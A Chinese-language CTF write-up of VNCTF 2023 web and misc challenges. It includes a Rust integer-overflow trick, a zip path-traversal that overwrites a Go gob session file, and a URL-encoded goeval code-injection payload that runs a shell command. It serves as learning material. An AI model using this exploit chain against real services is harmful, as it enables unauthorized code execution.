2023_VNCTF_WP

概述

题目来源:buuctf平台举行的vnctf。这次VNCTF还是很好玩的,特别是BabyGo(我也只看了web和misc方式的题),刚好也是在最后的30分钟出了,要不然哭死。6点之前已经有思路要覆盖user.gob文件了,但是一直覆盖不到,后面再认认真真检查了好几遍才发现path理解错了。拿到这题源码时一直在发呆,一点激情都没有。发现自己打这种比赛永远抢不了一血,一是因为知识储配不过,题刷的不够多;二是因为拿到不熟悉的题就容易发呆。幸好今天还够幸运,解出了花费很长时间的题,要不然又是自闭的一天QAQ。因为能力当前就处于“这样”的阶段,所以做出的BabyGo我给了非常详细的解题过程。

Web

象棋王子

直接f12,然后发现特殊字符,ctrl+c -----------> 控制台 ----------->  ctrl+v 回车后得到flag

电子木鱼

参考这篇文章:https://course.rs/basic/base-type/numbers.html

题目源码:

use actix_files::Files;
use actix_web::{
    error, get, post,
    web::{self, Json},
    App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
    value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
    fn get(&self) -> T {
        let mutex = self.value.lock().unwrap();
        mutex.clone()
    }
    fn set(&self, val: T) {
        let mut mutex = self.value.lock().unwrap();
        *mutex = val;
    }
    fn from(val: T) -> ThreadLocker<T> {
        ThreadLocker::<T> {
            value: Arc::new(Mutex::new(val)),
        }
    }
}

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
    GONGDE.set(0);
    web::Json(APIResult {
        success: true,
        message: "重开成功,继续挑战佛祖吧",
    })
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    let port = std::env::var("PORT")
        .unwrap_or_else(|_| "2333".to_string())
        .parse()
        .expect("Invalid PORT");

    println!("Listening on 0.0.0.0:{}", port);

    HttpServer::new(move || {
        let tera = match Tera::new("src/templates/**/*.html") {
            Ok(t) => t,
            Err(e) => {
                println!("Error: {}", e);
                ::std::process::exit(1);
            }
        };
        App::new()
            .app_data(web::Data::new(tera))
            .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
            .service(index)
            .service(upgrade)
            .service(reset)
    })
    .bind(("0.0.0.0", port))?
    .run()
    .await
}

审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算

 

 结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag

 BabyGo

题目源码:

package main

import (
    "encoding/gob"
    "fmt"
    "github.com/PaulXu-cn/goeval"
    "github.com/duke-git/lancet/cryptor"
    "github.com/duke-git/lancet/fileutil"
    "github.com/duke-git/lancet/random"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "net/http"
    "os"
    "path/filepath"
    "strings"
)

type User struct {
    Name  string
    Path  string
    Power string
}

func main() {
    r := gin.Default()
    store := cookie.NewStore(random.RandBytes(16))
    r.Use(sessions.Sessions("session", store))
    r.LoadHTMLGlob("template/*")

    r.GET("/", func(c *gin.Context) {
        userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
        session := sessions.Default(c)
        session.Set("shallow", userDir)
        session.Save()
        fileutil.CreateDir(userDir)
        gobFile, _ := os.Create(userDir + "user.gob")
        user := User{Name: "ctfer", Path: userDir, Power: "low"}
        encoder := gob.NewEncoder(gobFile)
        encoder.Encode(user)
        if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
            c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
            return
        }
        c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
    })

    r.GET("/upload", func(c *gin.Context) {
        c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
    })

    r.POST("/upload", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        fileutil.CreateDir(userUploadDir)
        file, err := c.FormFile("file")
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
            return
        }
        ext := file.Filename[strings.LastIndex(file.Filename, "."):]
        if ext == ".gob" || ext == ".go" {
            c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
            return
        }
        filename := userUploadDir + file.Filename
        if fileutil.IsExist(filename) {
            fileutil.RemoveFile(filename)
        }
        err = c.SaveUploadedFile(file, filename)
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
            return
        }
        c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
    })

    r.GET("/unzip", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        files, _ := fileutil.ListFileNames(userUploadDir)
        destPath := filepath.Clean(userUploadDir + c.Query("path"))
        for _, file := range files {
            if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
                err := fileutil.UnZip(userUploadDir+file, destPath)
                if err != nil {
                    c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
                    return
                }
                fileutil.RemoveFile(userUploadDir + file)
            }
        }
        c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
    })

    r.GET("/backdoor", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userDir := session.Get("shallow").(string)
        if fileutil.IsExist(userDir + "user.gob") {
            file, _ := os.Open(userDir + "user.gob")
            decoder := gob.NewDecoder(file)
            var ctfer User
            decoder.Decode(&ctfer)
            if ctfer.Power == "admin" {
                eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
                if err != nil {
                    fmt.Println(err)
                }
                c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
                return
            } else {
                c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
                return
            }
        } else {
            c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
            return
        }
    })

    r.Run(":80")
}
审计代码过程,在路径/upload下我们可以知道禁止上传了.gob.go文件
审计/unzip路径,我们可以知道这里把上传的.zip文件进行解压,关键点在下图所示
这里存在一个参数path,用于设置解压.zip文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越
进行审计/backdoor路径,关键点如下图所示:

这里打开一个user.go的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html

在这里还设置了一个参数pkg,调用了goeval.Eval()函数,不认识然后百度查阅资料学习,在该链接明白用处:https://learnku.com/articles/57884
综上分析,大概解题思路是:上传一个zip文件,里面包含了user.gob,user.gob的内容要把ctfer.Power原来的值覆盖掉,改成admin才行。然后此时只是输出了Good,并没有得到flag,找到了下面文章:
了解到go的函数逃逸,从而getshell获取flag。
解题步骤如下:
1. 在/upload中上传了包含user.gob的zip文件,user.gob文件内容如下:
//user.go
package main

import (
    "encoding/gob"
    "fmt"
    "os"
)

type User struct {
        Name  string
        Path  string
        Power string
}

func main(){
        userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/"  //自己docker起后的路径
        user := User{Name: "ctfer", Path: userDir, Power: "admin"}
        file, err := os.Create("./user.gob")
        if err != nil {
                fmt.Println("文件创建失败", err.Error())
        return
        }
        defer file.Close()

        encoder := gob.NewEncoder(file)
        err = encoder.Encode(user)
        if err != nil {
        fmt.Println("编码错误", err.Error())
        return
    } else {
        fmt.Println("编码成功")
    }
}
运行上面user.go文件得到user.gob文件
2. 在/unzip路径下,使用payload如下:
/unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/

3. 访问/backdoor,返回Good则上述步骤成功

4. 在/backdoor下,使用下面payload:

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

payload的构造参考上述给的链接

5. 得到返回结果:

 6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}

Misc

验证码

把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/

 

 得到flag:flag{MISC_COOL!!}

 
posted @ 2023-02-18 21:51  nLesxw  阅读(621)  评论(0编辑  收藏  举报